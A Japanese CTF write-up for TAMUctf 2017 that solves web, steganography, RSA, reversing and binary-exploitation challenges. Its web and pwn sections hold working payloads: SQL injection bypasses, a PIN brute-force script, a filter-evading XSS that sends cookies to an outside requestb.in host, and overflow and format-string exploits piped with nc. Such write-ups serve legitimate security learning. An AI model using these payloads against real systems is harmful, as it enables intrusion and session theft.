チーム Harekaze で TAMUctf 2017 に参加しました。最終的にチームで 2980 点を獲得し、順位は 20 位 (得点 757 チーム中) でした。うち、私は 27 問を解いて 2875 点を入れました。
以下、解いた問題の write-up です。
ユーザ名に admin
パスワードに ' or 1;#
を入力するとフラグが表示されました。
gigem{S@niTIz3_Th0se_InpUTs}
/web/transaction_list.php?itemID=-1%20or%201
にアクセスするとフラグが表示されました。
gigem{55Fl@gsFlyOv3rKyl3Field}
与えられた URL を開くと、迷路で遊べるサイトが表示されました。
壁に当たるとゲームオーバーになるようなので、game.physics.arcade.collide = () => false;
で当たり判定を消してしまいましょう。ゴールに行くとフラグが表示されました。
gigem{L1F35_A_MAZ3}
与えられた URL を開くと、4 桁の PIN コードの入力ができるサイトが表示されました。
数回適当な PIN コードを入力すると WRONG: too many tries
と表示され、それ以上 PIN コードの入力ができなくなってしまいました。
Cookie を消すと再び PIN コードの入力ができるようになりました。これを利用して 10000 通り試してみましょう。
import requests
for x in range(10000):
cookies = requests.get('http://pin.ctf.tamu.edu/login').cookies
c = requests.post('http://pin.ctf.tamu.edu/login', data={'pin': str(x).zfill(4)}, cookies=cookies).content
if 'WRONG' not in c:
print c
PIN コードは 4762
でした。
gigem{RAID_ON_THE_COOKIE_FACTORY}
与えられた URL を開くと検索ができるサイトが表示されました。
検索フォームで XSS ができるようなので色々試していると、どうやら <script>
や </script>
が消されてしまうようだと分かりました。
<script >
</script >
のようにスペースを入れると回避できました。
/web/search_query.php?query=<script+>(new%20Image).src%3D%27http%3A%2F%2Frequestb.in%2Fxxxxxxxx%3F%27%2Bdocument.cookie</script+>
を投げるとフラグが降ってきました。
gigem{St3@lIng_Co0kieS_iS_Imp0lite}
[Web 100] Secret Cross-site Cookies のペイロードがそのまま使えてしまいました。
gigem{N0T_So_S3crEt_Co0kI3_HEre}
また [Web 100] Secret Cross-site Cookies のペイロードがそのまま使えてしまいました。
gigem{HAv3_A_C00ki3_Th3y_HAV3_S3crETs}
4e2ff3813a1703e8.gif という GIF ファイルが与えられます。
strings すると Z2lnZW17dGhlX2NhdF9nb2VzX21lb3dfNGQxNWI0YjA4N2NlYmRlM30=
という文字列が出てきました。これを base64 デコードするとフラグが出てきました。
gigem{the_cat_goes_meow_4d15b4b087cebde3}
1fc923c4a9ce87f8.jpg という JPEG ファイルが与えられます。
stegsolve.jar で Red plane 0 を見るとフラグが出てきました。
gigem{water_w0rld_e0d37e04dd54fe09}
45e6846afca699c3.png というファイルが与えられます。
拡張子から PNG ファイルかと思いきや、ビューアで画像を開くことができません。バイナリエディタで眺めてみると PNG の前に Z2lnZW17dGhlX2ZsYWdfdGhhdF9lYXRzX2xpa2VfYV9tZWFsXzk4MzhlYWY2YjkzY2VhZWF9
という文字列が付いていました。
これを base64 デコードするとフラグが出てきました。
gigem{the_flag_that_eats_like_a_meal_9838eaf6b93ceaea}
9c5063d97046a644 というファイルが与えられます。
file に投げてみると、ビットマップファイルであると分かりました。
$ file 9c5063d97046a644
9c5063d97046a644: PC bitmap, Windows 3.x format, 2988 x 1573 x 24
stegsolve.jar で RGB の LSB を取るとフラグが出てきました。
gigem{this_is_pretty_significant_success_2620cfdfa7d9c00f}
9679c9f2da56e0c1.bmp というファイルが与えられます。
ビットマップファイルかと思いきや、ヘッダがありません。適当にいろいろ試していると、幅が 1600 px のときに読める画像が出てきました。
from PIL import Image
n = 1440018
w = 1600
h = n // w
im = Image.new('RGB', (w, h))
pix = im.load()
with open('9679c9f2da56e0c1.bmp', 'rb') as f:
for y in range(h - 1, -1, -1):
for x in range(w):
r, g, b = f.read(3)
pix[x, y] = r, g, b
im.show()
im.save('res.png')
gigem{corrupted_data_is_still_data_7cbfbcf11ef60140}
15186b0f99921cac.zip という zip ファイルが与えられます。これを展開すると 15186b0f99921cac と 15186b0f99921cac.bmp の 2 つのファイルが出てきました。
15186b0f99921cac はファイルの先頭 4 バイトが消されてしまっていますが、バイナリエディタで眺めると ELF っぽいと分かります。
[reversing 100] fancy bear と同じ要領でフラグの前半が得られました。
sig = b'\x83\x7d\xc0'
s = open('15186b0f99921cac', 'rb').read()
i = 0
res = ''
while sig in s:
j = s.index(sig)
res += chr(s[j+3] + 1)
s = s[j+4:]
print(''.join(reversed(res)))
gigem{all_in_parts
15186b0f99921cac.bmp もファイルの先頭 2 バイトが消されていますが、拡張子からしてビットマップファイルです。
[stego 100] least important と同じ要領で RGB の LSB を取るとフラグの後半が出てきました。
_6c38d5a1b82b8f25}
gigem{all_in_parts_6c38d5a1b82b8f25}
与えられた暗号文をシーザー暗号で右に 16 シフトさせるとフラグが出てきました。
DRESSNGCDC
与えられたハッシュでググるとフラグが出てきました。
italicized
C: (base64 エンコードされた暗号文)
e: (base64 エンコードされた数値)
N: (base64 エンコードされた数値)
という感じのファイルが与えられます。きっと RSA でしょう。
e が非常に大きいので、Wiener’s Attack を行ってみると秘密鍵が求められました。
gigem{h0Tdogs_f6d083ef157f512e}
C: (base64 エンコードされた暗号文)
e: (base64 エンコードされた数値)
N: (base64 エンコードされた数値)
という感じのファイルが与えられます。今度も RSA でしょう。
e が非常に小さい (e=3) ので、暗号文の立方根を求めてみるとフラグが出てきました。
gigem{get_L0W__fe36067c09e95879}
c1: (数値)
c2 (数値)
e1: (数値)
e2: (数値)
N: (数値)
という感じのファイルが与えられます。やっぱり RSA でしょう。
c1, c2 で使われた公開鍵は共通で、使われた e は異なるようです。Common Modulus Attack を試してみるとフラグが得られました。
gigem{c0mm0nly_knOwn_AS__52d67ca01085e0d9}
strings -a ./0ef49455c0589138 | grep gigem
でフラグが出てきました。
gigem{stringy_lasagna_743241fd1c7f089e}
strings -a ./c52603897320c456
で 24770abfae60fdd99ec0cd4dfc3c1704
が出てきました。これは md5(Carter)
のようでした。
Carter
func0
-> func1
-> func2
-> …
-> func37
という感じで関数が呼ばれています。それぞれ見てみると、以下のように入力のチェックがされています。
gdb-peda$ x/i func0+62
0x804c00c <_Z5func0NSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+62>:
cmp DWORD PTR [ebp-0x40],0x66
gdb-peda$ x/i func1+62
0x804bef4 <_Z5func1NSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+62>:
cmp DWORD PTR [ebp-0x40],0x68
gdb-peda$ x/i func2+62
0x804bddc <_Z5func2NSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+62>:
cmp DWORD PTR [ebp-0x40],0x66
gdb-peda$ x/i func3+62
0x804bcc4 <_Z5func3NSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+62>:
cmp DWORD PTR [ebp-0x40],0x64
gdb-peda$ x/i func4+62
0x804bbac <_Z5func4NSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+62>:
cmp DWORD PTR [ebp-0x40],0x6c
それぞれ 1 足すと gigem
になりました。これを func37 まで続けるとフラグが得られました。
gigem{dynamic_effort_3c8bbe44f3f0923b}
strings -a c0c9f1c95d67adc2 -e L
で base64 エンコードされた文字列が 3 つ出てきました。
base64 デコードするとどうやら RSA の秘密鍵と暗号文のようです。復号するとフラグが出てきました。
gigem{feels_g00d_2b_a_pIrate__62d06b007569ff34}
echo -en "AAAAAAAAAAAAAAAAAAAAAAAAAAA\x1e\xab\x11\xca" | nc pwn.ctf.tamu.edu 4322
gigem{T00_435Y}
python -c "print 'A' * 140 + '\x4b\x85\x04\x08'" | nc pwn.ctf.tamu.edu 4321
gigem{D34D_FUNC_R1S1NG}
from libformatstr import FormatStr
p = FormatStr()
p[0x804a01c] = 0x80485be
print p.payload(4)
python s.py | nc pwn.ctf.tamu.edu 4323
でフラグが得られました。
gigem{F0RM@1NG_1S_H4RD}
echo -en "AAAAAAAAAAAAAAAA\x90\x83\x04\x08BBBB\x28\xa0\x04\x08" | nc web.ctf.tamu.edu 4324
gigem{R3TURN_0R13NT3D_PR0F1T}